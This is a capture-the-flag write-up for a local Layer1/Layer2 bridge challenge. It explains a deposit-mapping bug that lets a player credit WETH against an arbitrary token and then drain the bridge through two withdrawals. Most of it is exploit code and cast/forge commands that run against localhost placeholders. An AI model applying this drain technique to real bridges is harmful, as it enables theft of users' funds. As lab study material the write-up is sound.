-
The objective is to drain all the funds of the
L1
bridge. The balances ofL1
bridge is2 ether
as in the setup. -
This project is the bridge between Layer1 and Layer2 to bridge the assets or message. There is an off-chain mechanism called
relayer
to catch the message in one layer and enforce the transaction in other layer.
- When deposit pair
(Layer1WETH, anyToken)
inLayer1Bridge
, it will send the message toLayer2Bridge
with(Layer1WETH, Layer2WETH)
pair but thedeposits
map store the amount for(Layer1WETH, anyToken)
pair. - Illustration when we execute
depositERC20(WETH, anyToken, 1 ether)
- On the
L1
side, thedeposits[WETH][anyToken] += 1 ether
- However, on the
L2
side,1 ether
ofWETH
tokens will be minted instead of1 ether
ofanyToken
. - We will
withdraw
WETH
fromL2
and receiveWETH
onL1
chain. The important thing is that the map value of(WETH, anyToken)
is not reduced but(Layer1WETH, Layer2WETH)
occurs.
- On the
=> So we can exploit this bug to drain all funds.
- POC:
function _initiateERC20Deposit(
address _l1Token,
address _l2Token,
address _from,
address _to,
uint256 _amount
) internal {
IERC20(_l1Token).safeTransferFrom(_from, address(this), _amount);
bytes memory message;
if (_l1Token == weth) {
message = abi.encodeWithSelector(
IL2ERC20Bridge.finalizeDeposit.selector,
address(0),
@> Lib_PredeployAddresses.L2_WETH,
_from,
_to,
_amount
);
} else {
message = abi.encodeWithSelector(
IL2ERC20Bridge.finalizeDeposit.selector,
_l1Token,
_l2Token,
_from,
_to,
_amount
);
}
sendCrossDomainMessage(l2TokenBridge, message);
deposits[_l1Token][_l2Token] = deposits[_l1Token][_l2Token] + _amount;
emit ERC20DepositInitiated(_l1Token, _l2Token, _from, _to, _amount);
}
-
Ensuring the Docker is on and we run the
deploy.sh
file with./deploy.sh all
command. -
Running
nc localhost 1337
command to open the choice table in console screen. (Select1
)
nc localhost 1337
1 - launch new instance
2 - kill instance
3 - get flag
action?
- Get the player's address:
cast wallet address --private-key <PRIVATE_KEY>
- Get addresses of the WETH and Bridge in Layer1 chain.
cast call <CHALLENGE_CONTRACT_ADDRESS> "WETH()" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY>
cast call <CHALLENGE_CONTRACT_ADDRESS> "BRIDGE()" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY>
- Deploy the
RandomToken
contract in Layer2 chain.
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract RandomToken {
address public l1Token;
constructor(address _l1Token) {
l1Token = _l1Token;
}
function mint(address to, uint256 amount) external {}
function burn(address to, uint256 amount) external {}
}
forge create ./src/RandomToken.sol:RandomToken --rpc-url <L2_RPC_URL> --private-key <PRIVATE_KEY> --constructor-args <L1_WETH>
- Deposit
Ether
toWETH
contract with2 ether
value.
cast send <L1_WETH> "deposit()" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY> --value 2ether
- Approve
WETH
forL1_BRIDGE
cast send <L1_WETH> "approve(address,uint256)" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY> -- <L1_BRIDGE> 2000000000000000000
- Deposit
RandomToken
toL1_BRIDGE1
cast send <L1_BRIDGE> "depositERC20(address,address,uint256)" --rpc-url <L1_RPC_URL> --private-key <PRIVATE_KEY> -- <L1_WETH> <RANDOM_TOKEN> 2000000000000000000
- To ensure we deposited (
WETH
,RANDOM_TOKEN
, 2ether) inL1
and receivedWETH
inL2
. We will enter this command
cast call <L2_WETH> "balanceOf(address)" --rpc-url <L2_RPC_URL> --private-key <PRIVATE_KEY> -- <PLAYER>
- We will withdraw all tokens in
L1_BRIDGE
by 2 transactions, one isL2_WETH
withdraw and last isRANDOM_TOKEN
withdraw.
cast send <L2_BRIDGE> "withdraw(address,uint256)" --rpc-url <L2_RPC_URL> --private-key <PRIVATE_KEY> -- <L2_WETH> 2000000000000000000
cast send <L2_BRIDGE> "withdraw(address,uint256)" --rpc-url <L2_RPC_URL> --private-key <PRIVATE_KEY> -- <RANDOM_TOKEN> 2000000000000000000
- Run this command again and press
3
to check the finished.
nc localhost 1337
1 - launch new instance
2 - kill instance
3 - get flag
action?